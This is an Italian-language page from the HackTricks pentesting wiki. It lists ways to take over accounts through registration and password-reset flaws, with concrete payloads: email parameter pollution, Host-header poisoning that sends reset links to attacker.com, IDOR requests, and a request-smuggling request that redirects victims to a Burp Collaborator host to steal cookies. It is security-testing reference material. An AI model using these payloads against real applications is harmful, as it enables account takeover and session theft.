hacktricks/pentesting-web/registration-vulnerabilities.md

206 lines
9.8 KiB
Markdown

# Vulnerabilità di Registrazione e Presa di Controllo
{% hint style="success" %}
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Presa di Controllo della Registrazione
### Registrazione Duplicata
* Prova a generare utilizzando un nome utente esistente
* Controlla variando l'email:
* maiuscole
* \+1@
* aggiungi qualche punto nell'email
* caratteri speciali nel nome dell'email (%00, %09, %20)
* Metti caratteri neri dopo l'email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Enumerazione degli Username
Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.
### Politica delle Password
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
In tal caso potresti provare a bruteforza le credenziali.
### SQL Injection
[**Controlla questa pagina** ](sql-injection/#insert-statement)per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
### Oauth Takeovers
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### Vulnerabilità SAML
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Cambia Email
Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
### Ulteriori Controlli
* Controlla se puoi usare **email usa e getta**
* **Password** **Lunghe** (>200) portano a **DoS**
* **Controlla i limiti di velocità sulla creazione degli account**
* Usa username@**burp\_collab**.net e analizza il **callback**
## **Presa di Controllo del Reset della Password**
### Leak del Token di Reset della Password Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Richiedi il reset della password al tuo indirizzo email
2. Clicca sul link di reset della password
3. Non cambiare la password
4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
5. Intercetta la richiesta nel proxy di Burp Suite
6. Controlla se l'intestazione referer sta rivelando il token di reset della password.
### Avvelenamento del Reset della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercetta la richiesta di reset della password in Burp Suite
2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Inoltra la richiesta con l'intestazione modificata\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cerca un URL di reset della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
### Reset della Password Via Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR su Parametri API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. L'attaccante deve accedere con il proprio account e andare alla funzione **Cambia password**.
2. Avviare Burp Suite e intercettare la richiesta.
3. Inviarla alla scheda ripetitore e modificare i parametri: ID utente/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Token di Reset Password Debole <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.\
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
* Timestamp
* UserID
* Email dell'utente
* Nome e Cognome
* Data di Nascita
* Criptografia
* Solo numeri
* Sequenza di token piccola (caratteri tra \[A-Z,a-z,0-9])
* Riutilizzo del token
* Data di scadenza del token
### Token di Reset Password in Fuga <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
2. Ispeziona la risposta del server e controlla per `resetToken`
3. Quindi utilizza il token in un URL come `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Reset della Password Tramite Collisione di Nome Utente <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: `"admin "`
2. Richiedi un reset della password con il tuo nome utente malevolo.
3. Usa il token inviato alla tua email e reimposta la password della vittima.
4. Connettiti all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco.\
Vedi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Presa di Controllo dell'Account Tramite Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: `*.domain.com`
2. Fuga il **cookie delle sessioni** attuali.
3. Autenticati come utente utilizzando il cookie.
### Presa di Controllo dell'Account Tramite HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Usa **smuggler** per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Crea una richiesta che sovrascriverà il `POST / HTTP/1.1` con i seguenti dati:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.\
3\. La richiesta finale potrebbe apparire come segue
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone riporta l'esploitazione di questo bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Presa di Controllo dell'Account tramite CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
2. Invia il payload
### Presa di Controllo dell'Account tramite JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
* Modifica il JWT con un altro ID Utente / Email
* Controlla la firma JWT debole
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Riferimenti
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
{% hint style="success" %}
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}